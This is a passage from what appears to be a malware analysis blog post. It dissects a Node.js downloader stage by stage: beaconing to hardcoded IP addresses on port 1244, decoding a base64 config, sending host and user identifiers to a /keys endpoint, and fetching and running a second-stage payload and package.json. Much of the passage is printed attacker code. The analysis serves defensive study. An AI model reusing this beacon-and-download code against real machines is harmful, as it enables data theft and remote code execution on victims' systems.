}</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;.vscode&quot;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">mkdirSync</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4">, { </span><span style="color: #9CDCFE">recursive:</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">true</span><span style="color: #D4D4D4"> });</span></span>
<span class="line"><span style="color: #D4D4D4">} </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>Stage 2: C2 Beaconing and Configuration Fetch</strong></p>



<p class="wp-block-paragraph">The malware attempts to contact one of two hardcoded IP addresses over port <code><strong>1244</strong></code>:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>const initialIPs = ["165&#91;.&#93;140&#91;.&#93;85&#91;.&#93;105", "165&#91;.&#93;140&#91;.&#93;86&#91;.&#93;106"];</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">initialIPs</span><span style="color: #D4D4D4"> = [</span><span style="color: #CE9178">&quot;165&#91;.&#93;140&#91;.&#93;85&#91;.&#93;105&quot;</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;165&#91;.&#93;140&#91;.&#93;86&#91;.&#93;106&quot;</span><span style="color: #D4D4D4">];</span></span></code></pre></div>



<p class="wp-block-paragraph">It fetches a config string from this path:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>const initialResource = "/s/bc7be3873ca9";</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">initialResource</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;/s/bc7be3873ca9&quot;</span><span style="color: #D4D4D4">;</span></span></code></pre></div>



<p class="wp-block-paragraph">The response is expected to be base64-encoded and prefixed with <code>"ZT3"</code>:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>request.get(`http://${ip}:${port}${initialResource}`, (error, response, body) => {
    if (body.startsWith("ZT3")) {
        const decoded = Buffer.from(body.substring(3), 'base64').toString('utf8');
        const &#91;domain, type&#93; = decoded.split(',');
        baseURL = `http://${domain}:${port}`;
        dataType = type;
    }
});</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #9CDCFE">request</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">get</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">`http://</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">ip</span><span style="color: #569CD6">}</span><span style="color: #CE9178">:</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">port</span><span style="color: #569CD6">}${</span><span style="color: #9CDCFE">initialResource</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">error</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">response</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">startsWith</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&quot;ZT3&quot;</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">decoded</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">Buffer</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">from</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">substring</span><span style="color: #D4D4D4">(</span><span style="color: #B5CEA8">3</span><span style="color: #D4D4D4">), </span><span style="color: #CE9178">&#39;base64&#39;</span><span style="color: #D4D4D4">).</span><span style="color: #DCDCAA">toString</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;utf8&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> &#91;</span><span style="color: #4FC1FF">domain</span><span style="color: #D4D4D4">, </span><span style="color: #4FC1FF">type</span><span style="color: #D4D4D4">&#93; = </span><span style="color: #9CDCFE">decoded</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">split</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;,&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`http://</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">domain</span><span style="color: #569CD6">}</span><span style="color: #CE9178">:</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">port</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">dataType</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">type</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">});</span></span></code></pre></div>



<p class="wp-block-paragraph">This config phase allows dynamic redirection only the initial IPs are hardcoded, while the rest of the infrastructure is resolved at runtime.</p>



<p class="wp-block-paragraph"><strong>Stage 3: Host Identification and Exfiltration</strong></p>



<p class="wp-block-paragraph">The script constructs a unique identifier (<code>hostID</code>) and sends it back to the server via a POST request:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>hostID = platform.startsWith('d') ? `${hostName}+${userInfo.username}` : hostName;&lt;br></textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #9CDCFE">hostID</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">platform</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">startsWith</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;d&#39;</span><span style="color: #D4D4D4">) ? </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">hostName</span><span style="color: #569CD6">}</span><span style="color: #CE9178">+</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">userInfo</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">username</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4"> : </span><span style="color: #9CDCFE">hostName</span><span style="color: #D4D4D4">;&lt;</span><span style="color: #9CDCFE">br</span><span style="color: #D4D4D4">&gt;</span></span></code></pre></div>



<p class="wp-block-paragraph">Then, it sends the following data to <code><strong>/keys</strong></code>:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>const formData = {
    ts: timestamp,
    type: dataType,
    hid: hostID,
    ss: "(((.+)+)+)",
    cc: "4A1" + process.argv&#91;1&#93; // client code + script path
};

request.post({ url: baseURL + "/keys", formData });</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">formData</span><span style="color: #D4D4D4"> = {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">ts:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">timestamp</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">type:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">dataType</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">hid:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">hostID</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">ss:</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;(((.+)+)+)&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">cc:</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;4A1&quot;</span><span style="color: #D4D4D4"> + </span><span style="color: #9CDCFE">process</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">argv</span><span style="color: #D4D4D4">&#91;</span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4">&#93; </span><span style="color: #6A9955">// client code + script path</span></span>
<span class="line"><span style="color: #D4D4D4">};</span></span>
<span class="line"></span>
<span class="line"><span style="color: #9CDCFE">request</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">post</span><span style="color: #D4D4D4">({ </span><span style="color: #9CDCFE">url:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> + </span><span style="color: #CE9178">&quot;/keys&quot;</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">formData</span><span style="color: #D4D4D4"> });</span></span></code></pre></div>



<p class="wp-block-paragraph">This stage acts as beaconing for tracking compromised hosts.</p>



<p class="wp-block-paragraph"><strong>Stage 4: Second-Stage Payload Download</strong></p>



<p class="wp-block-paragraph">Once beaconing is complete, the malware proceeds to fetch and install a second-stage JavaScript payload:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>const payloadURL = baseURL + "/j/" + dataType;
const localPayloadPath = path.join(payloadDir, "test.js");</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">payloadURL</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> + </span><span style="color: #CE9178">&quot;/j/&quot;</span><span style="color: #D4D4D4"> + </span><span style="color: #9CDCFE">dataType</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">localPayloadPath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;test.js&quot;</span><span style="color: #D4D4D4">);</span></span></code></pre></div>



<p class="wp-block-paragraph">Before downloading, it removes any previous copy:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>try { fs.rmSync(localPayloadPath); } catch {}</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> { </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">rmSync</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">localPayloadPath</span><span style="color: #D4D4D4">); } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> {}</span></span></code></pre></div>



<p class="wp-block-paragraph">Then downloads and writes the payload:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>request.get(payloadURL, (err, resp, body) => {
    if (!err) {
        fs.writeFileSync(localPayloadPath, body);
        setupAndRunPayload(payloadDir);
    }
});</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #9CDCFE">request</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">get</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadURL</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">resp</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (!</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">writeFileSync</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">localPayloadPath</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">setupAndRunPayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payloadDir</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">});</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>Stage 5: package.json Retrieval and Dependency Installation</strong></p>



<p class="wp-block-paragraph">To enable execution, the script fetches a <code><strong>package.json</strong></code> file if it&#8217;s not already present:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>const packageURL = baseURL + "/p";
request.get(packageURL, (err, resp, body) => {
    if (!err) fs.writeFileSync(packagePath, body);
    installDependenciesAndExecute(directory);
});</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">packageURL</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> + </span><span style="color: #CE9178">&quot;/p&quot;</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #9CDCFE">request</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">get</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">packageURL</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">resp</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (!</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">) </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">writeFileSync</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">packagePath</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">);</span></span>
